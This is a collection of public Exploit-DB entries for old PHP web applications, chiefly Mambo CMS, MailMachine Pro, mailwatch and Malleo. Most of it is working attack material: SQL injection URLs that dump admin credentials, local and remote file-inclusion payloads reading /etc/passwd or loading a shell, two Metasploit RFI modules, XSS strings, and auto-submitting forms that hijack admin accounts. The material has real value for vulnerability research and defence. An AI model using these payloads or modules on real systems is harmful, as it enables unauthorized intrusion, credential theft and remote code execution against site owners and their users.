deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4788
Description: MailMachine Pro 2.2.4 - SQL Injection
Type: webapps
Platform: php
Date: 2007-12-25
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------

Http://www.inj3ct-it.org        Staff[at]inj3ct-it[dot]org   

---------------------------------------------------------------

          Remote Sql Injection

---------------------------------------------------------------

# Author: MhZ91
# Title: MailMachine Pro 2.2.4 - Remote Sql Injection
# Download: http://webgraf.ru/2007/11/27/mailmachine_pro_224.html
# Bug: Remote Sql Injection
# Info: Mail Machine Pro is a professional mailing list manager written in php. This program features a web-based setup wizard, unlimited lists and subscribers, unlimited admins, personalization of newsletters with user data, autoreplies, scheduled mailings, email attachments, link tracking, bounced email management, opt-in/out, optional SMTP sending, mailing lists stats, import/export of subscriber list, automatic backup and restore, real-time message queue and more.
# Visit: http://www.inj3ct-it.org

---------------------------------------------------------------

http://[site]/showMsg.php?id=-1+union+select+1,2,3,4,5,6,concat(user_id,char(58),password),8,9,10+from+mailmachine_users/*

Whit this u get user:password of the admin

I think there is other sql injection xD

Bye.. and visit http://www.inj3ct-it.org !!

---------------------------------------------------------------

# milw0rm.com [2007-12-25]
Exploit-DB #6552
Description: mailwatch 1.0.4 - 'doc' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-24
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##################################################################
 #  [ mailwatch <= 1.0.4 ]   Local File Inclusion Vulnerability   #
 ##################################################################
 #
 # Script site: http://sourceforge.net/projects/mailwatch/
 #
 # Vuln: 
 # http://site.com/[mailwatch-1.0.4]/mailscanner/docs.php?doc=../../../../../../../etc/passwd%00
 #      
 #
 # Bug: ./mailwatch-1.0.4/mailscanner/docs.php (lines: 23-34)
 #
 # ...
 #	if (isset($_GET[doc])) {
 #	 include("docs/".$_GET[doc].".html");
 #	} else {
 #	 echo "<TABLE WIDTH=100% CLASS=\"BOXTABLE\">\n";
 #	 echo " <TR>\n";
 #	 echo "  <TD>\n";
 #	 echo "  <H1>Documentation</H1>\n";
 #	 echo "  This page does not require authentication, so you can put links to your site documentation here and allow your users to access it if you wish.";
 #	 echo "  </TD>\n";
 #	 echo " </TR>\n";
 #	 echo "</TABLE>\n";
 #	}
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-24]
Exploit-DB #28821
Description: Maintain 3.0.0-RC2 - 'Example6.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-16
Author: ERNE

Exploit:
source: https://www.securityfocus.com/bid/20560/info

Maintain is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Maintain version 3.0.0 RC2 is affected.

http://www.example.com/[path]/lib/php/phphtmllib-2.5.4/examples/example6.php?phphtmllib=[shell]
Exploit-DB #30959
Description: Makale Scripti - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-29
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/27067/info

Makale Scripti is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://site.com/script_path/Ara/?ara= "><script>alert("g3");</script>
Exploit-DB #32928
Description: Malleo 1.2.3 - 'admin.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-17
Author: Drosophila

Exploit:
source: https://www.securityfocus.com/bid/34588/info

Malleo is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks.

Malleo 1.2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/path/admin.php?module=../../../../../etc/passwd
Exploit-DB #16912
Description: Mambo - Cache_Lite Class MosConfig_absolute_path Remote File Inclusion (Metasploit)
Type: webapps
Platform: php
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: mambo_cache_lite.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include',
			'Description'    => %q{
					This module exploits a remote file inclusion vulnerability in
				includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo
				4.6.4 and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2008-2905' ],
					[ 'OSVDB', '46173' ],
					[ 'BID', '29716' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 32768,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jun 14 2008',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL!"]),
			], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end

		handler
	end

end
Exploit-DB #23428
Description: Mambo 4.5 Server - 'user.php' Script Unauthorized Access
Type: webapps
Platform: php
Date: 2003-12-10
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/9193/info

It has been reported that Mambo Server may be prone to an unauthorized access vulnerability that may allow an attacker to modify a user and/or an administrator's information such as password, email, name etc, after supplying a legitimate user id.

Mambo Server version 4.5 Beta 1.0.3 has been reported to be vulnerable to this issue, however other versions could be affected as well. 

<html>
<head></head>
<body>
<form action="http://www.example.com/index.php" method="post">
New Name : <inputtype="text" name="name" value=""><br>
New E-mail : <input type="text" name="email" value="" size="30"><br>
New UserName : <input type="text" name="username" value=""><br>
New Password : <input type="password" name="password" value=""><br>
Verfiy New Pass : <input type="password" name="verifyPass"><br>
ID : <input type="text" name="id" value="1"><br>
<input type="hidden" name="option" value="com_user">
<input type="hidden" name="task" value="saveUserEdit">
<input type="submit" name="submit" value="Update"><br>
</form>
</body>
</html>
Exploit-DB #30899
Description: Mambo 4.6.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-18
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/26922/info

Mambo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mambo 4.6.2 is vulnerable; other versions may also be affected. 

http://localhost/mambo/http://localhost/index.php?option=com_frontpage&Itemid=>"><script>alert("XSS%20Successful")</script> http://localhost/index.php?option=>"><script>alert("XSS%20Successful")</script>&Itemid=1
Exploit-DB #5808
Description: Mambo 4.6.4 - 'Output.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-13
Author: irk4z

Exploit:
.-----------------------------------------------------------------------------.
|  vuln.: Mambo <= 4.6.4 Remote File Inclusion Vulnerability                  |
|  download: http://mambo-foundation.org/                                     |
|                                                                             |
|  author: irk4z@yahoo.pl                                                     |
|  homepage: http://irk4z.wordpress.com/                                      |
|                                                                             |
|  greets to: all friends  ;)                                                   |
'-----------------------------------------------------------------------------'

# code:

 /includes/Cache/Lite/Output.php :
 1     <?php
 2
 3     /**
 4     * This class extends Cache_Lite and uses output buffering to get the data to cache.
 5     *
 6     * There are some examples in the 'docs/examples' file
 7     * Technical choices are described in the 'docs/technical' file
 8     *
 9     * @package Cache_Lite
10     * @version $Id: Output.php,v 1.1 2005/07/22 01:57:13 eddieajau Exp $
11     * @author Fabien MARTY <fab@php.net>
12     */
13
14     require_once($mosConfig_absolute_path . '/includes/Cache/Lite.php');
   ...
   
^ no comment.. RFI in line 14..

# exploit:

 http://[host]/[path]/includes/Cache/Lite/Output.php?mosConfig_absolute_path=http://shell?

# milw0rm.com [2008-06-13]
Exploit-DB #9906
Description: Mambo 4.6.4 - Cache Lite Output Remote File Inclusion (Metasploit)
Type: webapps
Platform: php
Date: 2008-06-14
Author: MC

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include.',
			'Description'    => %q{
					This module exploits a remote file inclusion vulnerability in
					includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo 
					4.6.4 and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'CVE', '2008-2905' ],
					[ 'BID', '29716' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 32768,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jun 14 2008',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL!"]),
				], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
		print_status("Trying uri #{uri}")

		response = send_request_raw( {
				'global' => true,
				'uri' => uri,
			},timeout)

		if response and response.code != 200
			print_error("Server returned non-200 status code (#{response.code})")
		end
		
		handler
	end

end
Exploit-DB #36084
Description: Mambo 4.6.5 - 'index.php' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-08-26
Author: Caddy-Dz

Exploit:
source: https://www.securityfocus.com/bid/49315/info

Mambo CMS is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue by tricking an unsuspecting user into visiting a malicious Web page. The page will consist of specially crafted script code designed to perform some action on the attacker's behalf.

Successful exploits will allow attackers to run privileged commands on the affected device.

Mambo CMS 4.6.5 is vulnerable; other versions may also be affected. 

<html>
<head>
 
</head>
 
<body onload="javascript:fireForms()">
<script language="JavaScript">
 
function fireForms()
{
    var count = 1;
    var i=0;
 
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}
 
	</script>
<form action="http://site.com/administrator/index.php?option=com_users&task=editA&id=62&hidemainmenu=1" method="post" name="adminForm"> 
	
	<input type="hidden" name="name" value="Administrator" /> 
	<input type="hidden" name="username" value="admin" /> 
        <input type="hidden" name="email" value="" /> 
	<input type="hidden" name="password" value="" /> 
	<input type="hidden" name="password2" value="" /> 
	<input type="hidden" name="gid" value="25" />				
	<input type="radio" name="block" value="0" checked="checked" />
	<input type="radio" name="block" value="1" />
	<input type="radio" name="sendEmail" value="0" />
	<input type="radio" name="sendEmail" value="1" checked="checked" />

</form>
Exploit-DB #35884
Description: Mambo 4.6.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-27
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/48455/info

Mambo CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mambo CMS 4.6.5 is vulnerable; other versions may also be affected; 

http://www.example.com/mambo/index.php?option=com_content&task=%22%20style=width:1000px;height:1000px;top:0;left:0;position:absolute%20onmouseover=alert%28/XSS/%29%20&id=3&Itemid=32

http://www.example.com/mambo/administrator/index2.php?option=com_menumanager&task=edit&hidemainmenu=1&menu=Move+your+mouse+here%22%20style=position:absolute;width:1000px;height:1000px;top:0;left:0;%20onmouseover=alert%28/XSS/%29%20

http://www.example.com/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS

http://www.example.com/mambo/administrator/index2.php?option=com_menus&menutype=xss"%20%20%20style=background-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS

http://www.example.com/mambo/administrator/index2.php?limit=10&order%5b%5d=11&boxchecked=0&toggle=on&search=simple_search&task=&limitstart=0&cid%5b%5d=on&zorder=c.ordering+DESC"><script>alert(/XSS/)</script>&filter_authorid=62&hidemainmenu=0&option=com_typedcontent

http://www.example.com/mambo/administrator/index2.php?limit=10&boxchecked=0&toggle=on&search=xss"><script>alert(/XSS/)</script>&task=&limitstart=0&hidemainmenu=0&option=com_comment

http://www.example.com/mambo/administrator/index2.php?option=com_modules&client=%27%22%20onmouseover=alert%28/XSS/%29%20a=%22%27

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3dx%3aexpression(alert(/XSS/))%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20style%3d-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml%23xss)%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;dis

http://www.example.com/mambo/administrator/index2.php?option=com_categories&section=com_weblinks"%20%20style=background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%20x=%20XSSSSSSSS&task=editA&hidemainmenu=1&id=2
Exploit-DB #17662
Description: Mambo 4.6.x < 4.6.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-13
Author: Aung Khant

Exploit:
=========================================
Mambo CMS 4.6.x (4.6.5) | SQL Injection 
=========================================


1. OVERVIEW

Mambo CMS 4.6.5 and lower versions are vulnerable to SQL Injection.


2. BACKGROUND

Mambo is a full-featured, award-winning content management system that can be used for everything from simple websites to complex corporate applications. It is used all over the world to power government portals, corporate intranets and extranets, ecommerce sites, nonprofit outreach, schools, church, and community sites. Mambo's "power in simplicity" also makes it the CMS of choice for many small businesses and personal sites. 


3. VULNERABILITY DESCRIPTION

The "zorder" parameter was not properly sanitized upon submission to the administrator/index2.php url, which allows attacker to conduct  SQL Injection attack. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.


4. VERSIONS AFFECTED

Tested on Mambo CMS 4.6.5


5. PROOF-OF-CONCEPT/EXPLOIT

http://localhost/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=-1 OR (SELECT 9999 FROM(SELECT COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent


6. SOLUTION

The vendor seems to discontinue the development. It is recommended to use another CMS in active development.


7. VENDOR

Mambo CMS Development Team
http://mambo-developer.org


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-11-31: notified vendor through bug tracker
2011-08-12: no patched version released up to date
2011-08-12: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mambo4.6_x]_sql_injection
Mambo CMS: http://mambo-code.org/gf/download/frsrelease/388/791/MamboV4.6.5.zip


#yehg [2011-08-12]
Exploit-DB #18110
Description: Mambo 4.x - 'Zorder' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-13
Author: KraL BeNiM

Exploit:
*####################################################################
[+] Exploit Title : CMS 4.x.x Zorder (SQL Injection Vul)
[+] Author : Kr4L BeNiM
[+] Contact : www.facebook.com/kr4l.hacker
[+] Date : November 13, 2011
[+] Software Link:  http://mambo-developer.org
[+] Category: Web Apps
####################################################################

Vulnerability:

*SQL injection Vulnerability*

[#]  Exploit : -

The "zorder" parameter was not properly sanitized upon submission to
the administrator/index2.php url, which allows attacker to conduct
SQL Injection attack.


[#] Explaination : -

http://target.com/mambo/administrator/index2.php?limit=10&order[]=11&boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&cid[]=on&zorder=
(SQL Inj Codes)

####################################################################
[+] Greets : Likuid Sky, Hax.Root, S.O.G, DjArs HaXoR, KiLLerMiNd, CyberLeeTs
####################################################################